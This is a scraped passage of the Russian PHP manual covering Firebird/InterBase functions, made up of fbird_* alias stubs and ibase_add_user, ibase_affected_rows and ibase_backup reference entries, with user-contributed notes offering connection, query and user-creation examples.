  • ibase_trans — Начинает транзакцию
  • ibase_wait_event — Ждём, пока событие будет опубликовано в базе данных

User Contributed Notes

sysop at smartnettechnologies dot com 25-Sep-2007 12:01
This example have 2 problems my be the autor writes it to fast but in the first case use one var for define user pass and and the use other one for call them and in secon step use comas after the ;

$db = '/path/to/database.gdb';
$user = 'username';
$password = 'password';
$res = ibase_connect($db,$dbuser,$dbpass) or die("<br>" . ibase_errmsg());

// Query
$sql="SELECT * FROM table;"
fortega at uamericas dot net 01-Jul-2007 02:11
Here is a minimalistic code example. Be sure to create an user and a database in order to make it work.

<?php
// Minimalistic code example

// Connection
$db = '/path/to/database.gdb';
$user = 'username';
$password = 'password';
$res = ibase_connect($db,$dbuser,$dbpass) or die("<br>" . ibase_errmsg());

// Query
$sql="SELECT * FROM table;"
$result=ibase_query($res,$sql) or die(ibase_errmsg());
while($row=ibase_fetch_object($result)){
    // use $row->FIELDNAME not $row->fieldname
    print $row->FIELDNAME;
}
ibase_free_result($result);

// Closing
ibase_close($res) or die("<br>" . ibase_errmsg());
?>

The following code can be used when creating tables in order to get auto incrementing fields:

<?php

// This function generates an autoincrement field, such as MySQL AUTO_INCREMENT.
function generate_autoincrement($tablename,$primarykey){
    // * Generator
    dbexec('CREATE GENERATOR GEN_' . $tablename . '_PK;');
    // * Trigger
    dbexec('CREATE TRIGGER INC_' . $primarykey . ' FOR ' . $tablename
        . chr(13) . 'ACTIVE BEFORE INSERT POSITION 0'
        . chr(13) . 'AS'
        . chr(13) . 'BEGIN'
        . chr(13) . 'IF (NEW.' . $primarykey . ' IS NULL) THEN'
        . chr(13) . 'NEW.' . $primarykey . '= GEN_ID(GEN_' . $tablename . '_PK, 1);'
        . chr(13) . 'END');
}
?>

Usage: <?php generate_autoincrement('table','column name'); ?>
felixlee at singnet dot com dot sg 02-Jul-2003 11:33
Here's an example for getting results back from stored procedure in firebird.
The example make use of the stored procedure in Employee.gdb and the show_langs procedure.

$host = 'localhost:X:/firebird/examples/Employee.gdb';
$username='SYSDBA';
$password='masterkey';

$dbh = ibase_connect ( $host, $username, $password ) or die ("error in db connect");
 $stmt="Select * from SHOW_LANGS('SRep',4,'Italy')";
 $query = ibase_prepare($stmt);
 $rs=ibase_execute($query);
$row = ibase_fetch_row($rs);

echo $row[0];

/* free result */
ibase_free_query($query);
ibase_free_result($rs);

/* close db */
ibase_close($dbh);
?>
lars at dybdahl dot net 20-Sep-2002 07:32
It is not possible to use interbase/firebird without initiating transactions. It seems that transactions are not automatically committed or rolled back at the end of a script, so remember to end all interbase enabled scripts with ibase_rollback() or ibase_commit().

Worse is, that if you use ibase_pconnect (recommended), transactions survive from one request to the next. So that if you don't rollback your transaction at the end of the script, another user's request might continue the transaction that the first request opened.

This has two implications:
1) Clicking refresh in your browser won't make you see newer data, because you still watch data from the same transaction.
2) Some php scripts might fail occassionally and not fail in other occasions, depending on with apache server thread and thereby which transaction they start using.

Unfortunately, there is no such thing as
if (ibase_intransaction()) ibase_rollback();

so be sure that ALL your scripts end with an ibase_rollback() or ibase_commit();
interbase at almico dot com 05-Sep-2002 02:24
If you are using VirtualHosts with Apache, you might find useful the following directive:

php_flag magic_quotes_sybase on

Use it in any VirtualHost and it will be set locally to that VirtualHost without interfering with any global setting.
This is an example:

<VirtualHost 555.666.777.888>
   ServerName www.samplehost.com
   DirectoryIndex index.php index.htm
   php_flag magic_quotes_sybase on
</VirtualHost>
johan at essay dot org 06-Aug-2000 07:24
For those who have problem with returning values from Stored Procedures in PHP-Interbase,  I have found a solution.   Use a select sentence like this:
select * from sp_prodecure(param, ...)
However, it is important that the procedure has a SUSPEND statement or else the procedure won't return any values.

But the "message length" (see above note) bug that you encounter when you try to execute a procedure should be fixed !


Псевдоним ibase_add_user

  • « Функции Firebird/InterBase
  • fbird_affected_rows »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_add_user

fbird_add_user

(PHP 5, PHP 7 < 7.4.0)

fbird_add_user — Псевдоним ibase_add_user()

Описание

Функция является псевдонимом: ibase_add_user().

Смотрите также

  • fbird_modify_user() - Псевдоним ibase_modify_user
  • fbird_delete_user() - Псевдоним ibase_delete_user

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ibase_affected_rows

  • « fbird_add_user
  • fbird_backup »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_affected_rows

fbird_affected_rows

(PHP 5, PHP 7 < 7.4.0)

fbird_affected_rows — Псевдоним ibase_affected_rows()

Описание

Функция является псевдонимом: ibase_affected_rows().

Смотрите также

  • fbird_query() - Псевдоним ibase_query
  • fbird_execute() - Псевдоним ibase_execute

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ibase_backup

  • « fbird_affected_rows
  • fbird_blob_add »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_backup

fbird_backup

(PHP 5, PHP 7 < 7.4.0)

fbird_backup — Псевдоним ibase_backup()

Описание

Функция является псевдонимом: ibase_backup().

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ibase_blob_add

  • « fbird_backup
  • fbird_blob_cancel »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_blob_add

fbird_blob_add

(PHP 5, PHP 7 < 7.4.0)

fbird_blob_add — Псевдоним ibase_blob_add()

Описание

Функция является псевдонимом: ibase_blob_add().

Смотрите также

  • fbird_blob_cancel() - Отменяет создание BLOB
  • fbird_blob_close() - Псевдоним ibase_blob_close
  • fbird_blob_create() - Псевдоним ibase_blob_create
  • fbird_blob_import() - Псевдоним ibase_blob_import

User Contributed Notes

There are no user contributed notes for this page.


Отменяет создание BLOB

  • « fbird_blob_add
  • fbird_blob_close »
  • PHP Manual
  • Функции Firebird/InterBase
  • Отменяет создание BLOB

fbird_blob_cancel

(PHP 5, PHP 7 < 7.4.0)

fbird_blob_cancel — Отменяет создание BLOB

Описание

fbird_blob_cancel(resource $blob_handle): bool

Эта функция прекращает использование BLOB, если он ещё не был закрыт fbird_blob_close().

Список параметров

blob_handle

Дескриптор BLOB, открытый с помощью fbird_blob_create().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • fbird_blob_close() - Псевдоним ibase_blob_close
  • fbird_blob_create() - Псевдоним ibase_blob_create
  • fbird_blob_import() - Псевдоним ibase_blob_import

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ibase_blob_close

  • « fbird_blob_cancel
  • fbird_blob_create »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_blob_close

fbird_blob_close

(PHP 5, PHP 7 < 7.4.0)

fbird_blob_close — Псевдоним ibase_blob_close()

Описание

Функция является псевдонимом: ibase_blob_close().

Смотрите также

  • fbird_blob_create() - Псевдоним ibase_blob_create
  • fbird_blob_cancel() - Отменяет создание BLOB
  • fbird_blob_open() - Псевдоним ibase_blob_open
  • fbird_blob_import() - Псевдоним ibase_blob_import

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ibase_blob_create

  • « fbird_blob_close
  • fbird_blob_echo »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_blob_create

fbird_blob_create

(PHP 5, PHP 7 < 7.4.0)

fbird_blob_create — Псевдоним ibase_blob_create()

Описание

Функция является псевдонимом: ibase_blob_create().

Смотрите также

  • fbird_blob_add() - Псевдоним ibase_blob_add
  • fbird_blob_cancel() - Отменяет создание BLOB
  • fbird_blob_close() - Псевдоним ibase_blob_close
  • fbird_blob_import() - Псевдоним ibase_blob_import

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ibase_blob_echo

  • « fbird_blob_create
  • fbird_blob_get »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_blob_echo

fbird_blob_echo

(PHP 5, PHP 7 < 7.4.0)

fbird_blob_echo — Псевдоним ibase_blob_echo()

Описание

Функция является псевдонимом: ibase_blob_echo().

Смотрите также

  • fbird_blob_open() - Псевдоним ibase_blob_open
  • fbird_blob_close() - Псевдоним ibase_blob_close
  • fbird_blob_get() - Псевдоним ibase_blob_get

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ibase_blob_get

  • « fbird_blob_echo
  • fbird_blob_import »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_blob_get

fbird_blob_get

(PHP 5, PHP 7 < 7.4.0)

fbird_blob_get — Псевдоним ibase_blob_get()

Описание

Функция является псевдонимом: ibase_blob_get().

Смотрите также

  • fbird_blob_open() - Псевдоним ibase_blob_open
  • fbird_blob_close() - Псевдоним ibase_blob_close
  • fbird_blob_echo() - Псевдоним ibase_blob_echo

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ibase_blob_import

  • « fbird_blob_get
  • fbird_blob_info »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_blob_import

fbird_blob_import

(PHP 5, PHP 7 < 7.4.0)

fbird_blob_import — Псевдоним ibase_blob_import()

Описание

Функция является псевдонимом: ibase_blob_import().

Смотрите также

  • fbird_blob_add() - Псевдоним ibase_blob_add
  • fbird_blob_cancel() - Отменяет создание BLOB
  • fbird_blob_close() - Псевдоним ibase_blob_close
  • fbird_blob_create() - Псевдоним ibase_blob_create

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ibase_blob_info

  • « fbird_blob_import
  • fbird_blob_open »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_blob_info

fbird_blob_info

(PHP 5, PHP 7 < 7.4.0)

fbird_blob_info — Псевдоним ibase_blob_info()

Описание

Функция является псевдонимом: ibase_blob_info().

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ibase_blob_open

  • « fbird_blob_info
  • fbird_close »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_blob_open

fbird_blob_open

(PHP 5, PHP 7 < 7.4.0)

fbird_blob_open — Псевдоним ibase_blob_open()

Описание

Функция является псевдонимом: ibase_blob_open().

Смотрите также

  • fbird_blob_close() - Псевдоним ibase_blob_close
  • fbird_blob_echo() - Псевдоним ibase_blob_echo
  • fbird_blob_get() - Псевдоним ibase_blob_get

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ibase_close

  • « fbird_blob_open
  • fbird_commit_ret »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_close

fbird_close

(PHP 5, PHP 7 < 7.4.0)

fbird_close — Псевдоним ibase_close()

Описание

Функция является псевдонимом: ibase_close().

Смотрите также

  • fbird_connect() - Псевдоним ibase_connect
  • fbird_pconnect() - Псевдоним ibase_pconnect

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ibase_commit_ret

  • « fbird_close
  • fbird_commit »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_commit_ret

fbird_commit_ret

(PHP 5, PHP 7 < 7.4.0)

fbird_commit_ret — Псевдоним ibase_commit_ret()

Описание

Функция является псевдонимом: ibase_commit_ret().

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ibase_commit

  • « fbird_commit_ret
  • fbird_connect »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_commit

fbird_commit

(PHP 5, PHP 7 < 7.4.0)

fbird_commit — Псевдоним ibase_commit()

Описание

Функция является псевдонимом: ibase_commit().

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ibase_connect

  • « fbird_commit
  • fbird_db_info »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_connect

fbird_connect

(PHP 5, PHP 7 < 7.4.0)

fbird_connect — Псевдоним ibase_connect()

Описание

Функция является псевдонимом: ibase_connect().

Смотрите также

  • fbird_pconnect() - Псевдоним ibase_pconnect
  • fbird_close() - Псевдоним ibase_close

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ibase_db_info

  • « fbird_connect
  • fbird_delete_user »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_db_info

fbird_db_info

(PHP 5, PHP 7 < 7.4.0)

fbird_db_info — Псевдоним ibase_db_info()

Описание

Функция является псевдонимом: ibase_db_info().

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ibase_delete_user

  • « fbird_db_info
  • fbird_drop_db »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_delete_user

fbird_delete_user

(PHP 5, PHP 7 < 7.4.0)

fbird_delete_user — Псевдоним ibase_delete_user()

Описание

Функция является псевдонимом: ibase_delete_user().

Смотрите также

  • fbird_add_user() - Псевдоним ibase_add_user
  • fbird_modify_user() - Псевдоним ibase_modify_user

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ibase_drop_db

  • « fbird_delete_user
  • fbird_errcode »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_drop_db

fbird_drop_db

(PHP 5, PHP 7 < 7.4.0)

fbird_drop_db — Псевдоним ibase_drop_db()

Описание

Функция является псевдонимом: ibase_drop_db().

Смотрите также

  • fbird_connect() - Псевдоним ibase_connect
  • fbird_pconnect() - Псевдоним ibase_pconnect

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ibase_errcode

  • « fbird_drop_db
  • fbird_errmsg »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_errcode

fbird_errcode

(PHP 5, PHP 7 < 7.4.0)

fbird_errcode — Псевдоним ibase_errcode()

Описание

Функция является псевдонимом: ibase_errcode().

Смотрите также

  • fbird_errmsg() - Псевдоним ibase_errmsg

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ibase_errmsg

  • « fbird_errcode
  • fbird_execute »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_errmsg

fbird_errmsg

(PHP 5, PHP 7 < 7.4.0)

fbird_errmsg — Псевдоним ibase_errmsg()

Описание

Функция является псевдонимом: ibase_errmsg().

Смотрите также

  • fbird_errcode() - Псевдоним ibase_errcode

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ibase_execute

  • « fbird_errmsg
  • fbird_fetch_assoc »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_execute

fbird_execute

(PHP 5, PHP 7 < 7.4.0)

fbird_execute — Псевдоним ibase_execute()

Описание

Функция является псевдонимом: ibase_execute().

Смотрите также

  • fbird_query() - Псевдоним ibase_query

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ibase_fetch_assoc

  • « fbird_execute
  • fbird_fetch_object »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_fetch_assoc

fbird_fetch_assoc

(PHP 5, PHP 7 < 7.4.0)

fbird_fetch_assoc — Псевдоним ibase_fetch_assoc()

Описание

Функция является псевдонимом: ibase_fetch_assoc().

Смотрите также

  • fbird_fetch_row() - Псевдоним ibase_fetch_row
  • fbird_fetch_object() - Псевдоним ibase_fetch_object

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ibase_fetch_object

  • « fbird_fetch_assoc
  • fbird_fetch_row »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_fetch_object

fbird_fetch_object

(PHP 5, PHP 7 < 7.4.0)

fbird_fetch_object — Псевдоним ibase_fetch_object()

Описание

Функция является псевдонимом: ibase_fetch_object().

Смотрите также

  • fbird_fetch_row() - Псевдоним ibase_fetch_row
  • fbird_fetch_assoc() - Псевдоним ibase_fetch_assoc

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ibase_fetch_row

  • « fbird_fetch_object
  • fbird_field_info »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_fetch_row

fbird_fetch_row

(PHP 5, PHP 7 < 7.4.0)

fbird_fetch_row — Псевдоним ibase_fetch_row()

Описание

Функция является псевдонимом: ibase_fetch_row().

Смотрите также

  • fbird_fetch_assoc() - Псевдоним ibase_fetch_assoc
  • fbird_fetch_object() - Псевдоним ibase_fetch_object

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ibase_field_info

  • « fbird_fetch_row
  • fbird_free_event_handler »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_field_info

fbird_field_info

(PHP 5, PHP 7 < 7.4.0)

fbird_field_info — Псевдоним ibase_field_info()

Описание

Функция является псевдонимом: ibase_field_info().

Смотрите также

  • fbird_num_fields() - Псевдоним ibase_num_fields

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ibase_free_event_handler

  • « fbird_field_info
  • fbird_free_query »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_free_event_handler

fbird_free_event_handler

(PHP 5, PHP 7 < 7.4.0)

fbird_free_event_handler — Псевдоним ibase_free_event_handler()

Описание

Функция является псевдонимом: ibase_free_event_handler().

Смотрите также

  • fbird_set_event_handler() - Псевдоним ibase_set_event_handler

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ibase_free_query

  • « fbird_free_event_handler
  • fbird_free_result »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_free_query

fbird_free_query

(PHP 5, PHP 7 < 7.4.0)

fbird_free_query — Псевдоним ibase_free_query()

Описание

Функция является псевдонимом: ibase_free_query().

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ibase_free_result

  • « fbird_free_query
  • fbird_gen_id »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_free_result

fbird_free_result

(PHP 5, PHP 7 < 7.4.0)

fbird_free_result — Псевдоним ibase_free_result()

Описание

Функция является псевдонимом: ibase_free_result().

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ibase_gen_id

  • « fbird_free_result
  • fbird_maintain_db »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_gen_id

fbird_gen_id

(PHP 5, PHP 7 < 7.4.0)

fbird_gen_id — Псевдоним ibase_gen_id()

Описание

Функция является псевдонимом: ibase_gen_id().

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ibase_maintain_db

  • « fbird_gen_id
  • fbird_modify_user »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_maintain_db

fbird_maintain_db

(PHP 5, PHP 7 < 7.4.0)

fbird_maintain_db — Псевдоним ibase_maintain_db()

Описание

Функция является псевдонимом: ibase_maintain_db().

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ibase_modify_user

  • « fbird_maintain_db
  • fbird_name_result »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_modify_user

fbird_modify_user

(PHP 5, PHP 7 < 7.4.0)

fbird_modify_user — Псевдоним ibase_modify_user()

Описание

Функция является псевдонимом: ibase_modify_user().

Смотрите также

  • fbird_add_user() - Псевдоним ibase_add_user
  • fbird_delete_user() - Псевдоним ibase_delete_user

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ibase_name_result

  • « fbird_modify_user
  • fbird_num_fields »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_name_result

fbird_name_result

(PHP 5, PHP 7 < 7.4.0)

fbird_name_result — Псевдоним ibase_name_result()

Описание

Функция является псевдонимом: ibase_name_result().

Смотрите также

  • fbird_prepare() - Псевдоним ibase_prepare
  • fbird_execute() - Псевдоним ibase_execute

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ibase_num_fields

  • « fbird_name_result
  • fbird_num_params »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_num_fields

fbird_num_fields

(PHP 5, PHP 7 < 7.4.0)

fbird_num_fields — Псевдоним ibase_num_fields()

Описание

Функция является псевдонимом: ibase_num_fields().

Смотрите также

  • fbird_field_info() - Псевдоним ibase_field_info

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ibase_num_params

  • « fbird_num_fields
  • fbird_param_info »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_num_params

fbird_num_params

(PHP 5, PHP 7 < 7.4.0)

fbird_num_params — Псевдоним ibase_num_params()

Описание

Функция является псевдонимом: ibase_num_params().

Смотрите также

  • fbird_prepare() - Псевдоним ibase_prepare
  • fbird_param_info() - Псевдоним ibase_param_info

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ibase_param_info

  • « fbird_num_params
  • fbird_pconnect »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_param_info

fbird_param_info

(PHP 5, PHP 7 < 7.4.0)

fbird_param_info — Псевдоним ibase_param_info()

Описание

Функция является псевдонимом: ibase_param_info().

Смотрите также

  • fbird_field_info() - Псевдоним ibase_field_info
  • fbird_num_params() - Псевдоним ibase_num_params

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ibase_pconnect

  • « fbird_param_info
  • fbird_prepare »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_pconnect

fbird_pconnect

(PHP 5, PHP 7 < 7.4.0)

fbird_pconnect — Псевдоним ibase_pconnect()

Описание

Функция является псевдонимом: ibase_pconnect().

Смотрите также

  • fbird_close() - Псевдоним ibase_close
  • fbird_connect() - Псевдоним ibase_connect

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ibase_prepare

  • « fbird_pconnect
  • fbird_query »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_prepare

fbird_prepare

(PHP 5, PHP 7 < 7.4.0)

fbird_prepare — Псевдоним ibase_prepare()

Описание

Функция является псевдонимом: ibase_prepare().

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ibase_query

  • « fbird_prepare
  • fbird_restore »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_query

fbird_query

(PHP 5, PHP 7 < 7.4.0)

fbird_query — Псевдоним ibase_query()

Описание

Функция является псевдонимом: ibase_query().

Смотрите также

  • fbird_errmsg() - Псевдоним ibase_errmsg
  • fbird_fetch_row() - Псевдоним ibase_fetch_row
  • fbird_fetch_object() - Псевдоним ibase_fetch_object
  • fbird_free_result() - Псевдоним ibase_free_result

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ibase_restore

  • « fbird_query
  • fbird_rollback_ret »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_restore

fbird_restore

(PHP 5, PHP 7 < 7.4.0)

fbird_restore — Псевдоним ibase_restore()

Описание

Функция является псевдонимом: ibase_restore().

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ibase_rollback_ret

  • « fbird_restore
  • fbird_rollback »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_rollback_ret

fbird_rollback_ret

(PHP 5, PHP 7 < 7.4.0)

fbird_rollback_ret — Псевдоним ibase_rollback_ret()

Описание

Функция является псевдонимом: ibase_rollback_ret().

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ibase_rollback

  • « fbird_rollback_ret
  • fbird_server_info »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_rollback

fbird_rollback

(PHP 5, PHP 7 < 7.4.0)

fbird_rollback — Псевдоним ibase_rollback()

Описание

Функция является псевдонимом: ibase_rollback().

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ibase_server_info

  • « fbird_rollback
  • fbird_service_attach »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_server_info

fbird_server_info

(PHP 5, PHP 7 < 7.4.0)

fbird_server_info — Псевдоним ibase_server_info()

Описание

Функция является псевдонимом: ibase_server_info().

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ibase_service_attach

  • « fbird_server_info
  • fbird_service_detach »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_service_attach

fbird_service_attach

(PHP 5, PHP 7 < 7.4.0)

fbird_service_attach — Псевдоним ibase_service_attach()

Описание

Функция является псевдонимом: ibase_service_attach().

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ibase_service_detach

  • « fbird_service_attach
  • fbird_set_event_handler »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_service_detach

fbird_service_detach

(PHP 5, PHP 7 < 7.4.0)

fbird_service_detach — Псевдоним ibase_service_detach()

Описание

Функция является псевдонимом: ibase_service_detach().

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ibase_set_event_handler

  • « fbird_service_detach
  • fbird_trans »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_set_event_handler

fbird_set_event_handler

(PHP 5, PHP 7 < 7.4.0)

fbird_set_event_handler — Псевдоним ibase_set_event_handler()

Описание

Функция является псевдонимом: ibase_set_event_handler().

Смотрите также

  • fbird_free_event_handler() - Псевдоним ibase_free_event_handler
  • fbird_wait_event() - Псевдоним ibase_wait_event

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ibase_trans

  • « fbird_set_event_handler
  • fbird_wait_event »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_trans

fbird_trans

(PHP 5, PHP 7 < 7.4.0)

fbird_trans — Псевдоним ibase_trans()

Описание

Функция является псевдонимом: ibase_trans().

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним ibase_wait_event

  • « fbird_trans
  • ibase_add_user »
  • PHP Manual
  • Функции Firebird/InterBase
  • Псевдоним ibase_wait_event

fbird_wait_event

(PHP 5, PHP 7 < 7.4.0)

fbird_wait_event — Псевдоним ibase_wait_event()

Описание

Функция является псевдонимом: ibase_wait_event().

Смотрите также

  • fbird_set_event_handler() - Псевдоним ibase_set_event_handler
  • fbird_free_event_handler() - Псевдоним ibase_free_event_handler

User Contributed Notes

There are no user contributed notes for this page.


Добавляет пользователя в безопасную базу данных

  • « fbird_wait_event
  • ibase_affected_rows »
  • PHP Manual
  • Функции Firebird/InterBase
  • Добавляет пользователя в безопасную базу данных

ibase_add_user

(PHP 5, PHP 7 < 7.4.0)

ibase_add_user — Добавляет пользователя в безопасную базу данных

Описание

ibase_add_user(
resource $service_handle,
string $user_name,
string $password,
string $first_name = ?,
string $middle_name = ?,
string $last_name = ?
): bool

Список параметров

service_handle

Дескриптор службы сервера базы данных.

user_name

Имя для входа нового пользователя базы данных.

password

Пароль нового пользователя.

first_name

Имя нового пользователя базы данных.

middle_name

Отчество нового пользователя базы данных.

last_name

Фамилия нового пользователя базы данных.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ibase_modify_user() - Изменяет пользователя в безопасной базе данных
  • ibase_delete_user() - Удаляет пользователя из безопасной базы данных

User Contributed Notes

pabloj 12-Apr-2006 02:10
You can create users on Firebird/Interbase this way:

<?php
    // attach to the server with proper privileges
    if (($service = ibase_service_attach('localhost', 'sysdba', 'masterkey')) != FALSE) {
        // get server version and implementation strings
        $server_info  = ibase_server_info($service, IBASE_SVC_SERVER_VERSION)
                      . ' / '
                      . ibase_server_info($service, IBASE_SVC_IMPLEMENTATION);
        //ibase_service_detach($service);
    }
    else {
        $ib_error = ibase_errmsg();
    }
echo $server_info;

//add a new user with name 'pippo' and password 'pp'
if (($result = ibase_add_user($service, 'pippo', 'pp')) != FALSE) {
        echo 'User created';
        ibase_service_detach($service);
    }
    else {
        $ib_error = ibase_errmsg();
        //detach from server
        ibase_service_detach($service);
    }
?>


Возвращает количество строк, на которые повлиял предыдущий запрос

  • « ibase_add_user
  • ibase_backup »
  • PHP Manual
  • Функции Firebird/InterBase
  • Возвращает количество строк, на которые повлиял предыдущий запрос

ibase_affected_rows

(PHP 5, PHP 7 < 7.4.0)

ibase_affected_rows — Возвращает количество строк, на которые повлиял предыдущий запрос

Описание

ibase_affected_rows(resource $link_identifier = ?): int

Эта функция возвращает количество строк, на которые повлиял предыдущий запрос (INSERT, UPDATE или DELETE), который был выполнен из указанного контекста транзакции.

Список параметров

link_identifier

Контекст транзакции. Если link_identifier является ресурсом соединения, используется его транзакция по умолчанию.

Возвращаемые значения

Возвращает количество строк в виде целого числа.

Смотрите также

  • ibase_query() - Выполняет запрос к базе данных InterBase
  • ibase_execute() - Выполняет предварительно подготовленный запрос

User Contributed Notes

There are no user contributed notes for this page.


Инициирует задание резервного копирования в диспетчере служб и немедленно возвращает

  • « ibase_affected_rows
  • ibase_blob_add »
  • PHP Manual
  • Функции Firebird/InterBase
  • Инициирует задание резервного копирования в диспетчере служб и немедленно возвращает

ibase_backup

(PHP 5, PHP 7 < 7.4.0)

ibase_backup — Инициирует задание резервного копирования в диспетчере служб и немедленно возвращает

Описание

ibase_backup(
resource $service_handle,
string $source_db,
string $dest_file,
int $options = 0,
bool $verbose = false
): mixed

Эта функция передаёт аргументы на (удалённый) сервер базы данных. Там начинается новый процесс резервного копирования. Поэтому вы не получите никаких ответов.

Список параметров

service_handle

Ранее открытое соединение с сервером базы данных.

source_db

Абсолютный путь к файлу базы данных на сервере базы данных. Вы также можете использовать псевдоним базы данных.

dest_file

Путь к файлу резервной копии на сервере базы данных.

options

Дополнительные опции для передачи на сервер базы данных для резервного копирования. Параметр options может быть комбинацией из следующих констант: IBASE_BKP_IGNORE_CHECKSUMS, IBASE_BKP_IGNORE_LIMBO, IBASE_BKP_METADATA_ONLY, IBASE_BKP_NO_GARBAGE_COLLECT, IBASE_BKP_OLD_DESCRIPTIONS, IBASE_BKP_NON_TRANSPORTABLE или IBASE_BKP_CONVERT. Прочтите раздел о Предопределённые константы для получения дополнительной информации.

verbose

Поскольку процесс резервного копирования выполняется на сервере базы данных, у вас нет шансов получить его вывод. Этот аргумент бесполезен.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Поскольку процесс резервного копирования выполняется на (удалённом) сервере, эта функция просто передаёт ему аргументы. Пока аргументы корректны, вы не получите false.

Примеры

Пример #1 Пример использования ibase_backup()

<?php

// Соединение к серверу базы данных по IP-адресу и порту
$service = ibase_service_attach ('10.1.11.200/3050', 'sysdba', 'masterkey');

// Запуск процесса резервного копирования на сервере базы данных
